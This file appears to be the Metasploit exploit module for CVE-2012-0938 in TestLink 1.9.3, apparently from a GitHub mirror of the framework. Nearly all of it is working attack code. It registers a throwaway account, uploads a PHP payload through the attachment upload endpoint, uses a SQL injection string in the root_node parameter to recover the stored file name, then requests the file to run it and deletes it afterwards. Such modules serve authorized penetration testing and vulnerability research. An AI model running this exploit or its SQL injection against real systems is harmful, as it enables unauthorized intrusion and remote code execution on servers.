modules/exploits/multi/http/testlink_upload_exec.rb - master - githubmirror/metasploit-framework

modules/exploits/multi/http/testlink_upload_exec.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "TestLink v1.9.3 Arbitrary File Upload Vulnerability",
        'Description' => %q{
          This module exploits a vulnerability in TestLink version 1.9.3 or prior.
          This application has an upload feature that allows any authenticated
          user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
          directory with a randomized file name. The file name can be retrieved from
          the database using SQL injection.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bcoles' # Discovery and exploit
        ],
        'References' => [
          [ 'CVE', '2012-0938' ],
          [ 'OSVDB', '85446' ],
          [ 'EDB', '20500' ],
          [ 'URL', 'http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/' ]
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Automatic Targeting', { 'auto' => true }]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-08-13',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'
    peer = "#{rhost}:#{rport}"

    # retrieve software version from login page
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(base, "login.php")
      })

      return Exploit::CheckCode::Unknown('No response received from the target') if res.nil?

      if res
        if res.code == 200
          if res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
            return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
          end
        end
      end

      return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable') if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/

      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end
    return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end

  def upload(base, fname, file)
    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
    data_post = "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"#{fname}\"\r\n"
    data_post << "Content-Type: text/php\r\n"
    data_post << "\r\n"
    data_post << file
    data_post << "\r\n"
    data_post << "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n"
    data_post << "\r\n1048576\r\n"
    data_post << "--#{boundary}\r\n"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{base}lib/attachments/attachmentupload.php",
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data_post,
      'cookie' => datastore['COOKIE'],
    })

    return res
  end

  def register(base, user, pass)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{base}firstLogin.php",
      'data' => "login=#{user}&password=#{pass}&password2=#{pass}&firstName=#{user}&lastName=#{user}&email=#{user}%40#{user}.tld&doEditUser=Add+User+Data",
    })

    return res
  end

  def login(base, user, pass)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{base}login.php",
      'data' => "reqURI=&destination=&tl_login=#{user}&tl_password=#{pass}&login_submit=Login",
      'cookie' => datastore['COOKIE'],
    })

    return res
  end

  def on_new_session(client)
    print_warning("Deleting #{@token}.php")
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      client.fs.file.rm("#{@token}.php")
    else
      client.shell_command_token("rm #{@token}.php")
    end
  end

  def exploit
    base = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'

    datastore['COOKIE'] = "PHPSESSID=" + rand_text_alpha_lower(26) + ";"

    # register an account
    user = rand_text_alphanumeric(rand(10) + 6)
    print_status("Registering user (#{user})")
    res = register(base, user, user)
    if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
      print_good("Registered successfully")
    else
      print_error("Registration failed")
      return
    end

    # login
    print_status("Authenticating user (#{user})")
    res = login(base, user, user)
    if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
      print_good("Authenticated successfully")
    else
      print_error("Authentication failed")
      return
    end

    # set id and table name
    id = rand(1000) + 1
    table = 'nodes_hierarchy'
    print_status("Setting id (#{id}) and table name (#{table})")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(base, "lib/attachments/attachmentupload.php") + "?id=#{id}&tableName=#{table}",
        'cookie' => datastore['COOKIE'],
      })
      if res and res.code == 200
        print_good("Setting id and table name successfully")
      else
        print_error("Setting id and table name failed")
        return
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed")
      return
    end

    # upload PHP payload to ./upload_area/nodes_hierarchy/[id]/
    print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
    fname = rand_text_alphanumeric(rand(10) + 6) + '.php'
    php = %Q|<?php #{payload.encoded} ?>|
    begin
      res = upload(base, fname, php)
      if res and res.code == 200 and res.body =~ /<p>File uploaded<\/p>/
        print_good("File uploaded successfully")
      else
        print_error("Uploading PHP payload failed")
        return
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed")
      return
    end

    # attempt to retrieve real file name from directory index
    print_status("Retrieving real file name from directory index.")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(base, "upload_area", table, id)
      })
      if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
        @token = $1
        print_good("Successfully retrieved file name (#{@token})")
      else
        print_error("Could not retrieve file name from directory index.")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed")
      return
    end

    # attempt to retrieve real file name from the database
    if @token.nil?
      print_status("Retrieving real file name from the database.")
      sqli = normalize_uri(base, "lib/ajax/gettprojectnodes.php") + "?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--"
      begin
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => sqli,
          'cookie' => datastore['COOKIE'],
        })
        if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
          @token = $1
          print_good("Successfully retrieved file name (#{@token})")
        else
          print_error("Could not retrieve file name from the database.")
          return
        end
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        print_error("Connection failed")
        return
      end
    end

    # retrieve and execute PHP payload
    print_status("Executing payload (#{@token}.php)")
    begin
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(base, "upload_area", "nodes_hierarchy", id, "#{@token}.php")
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Connection failed")
      return
    end

    handler
  end
end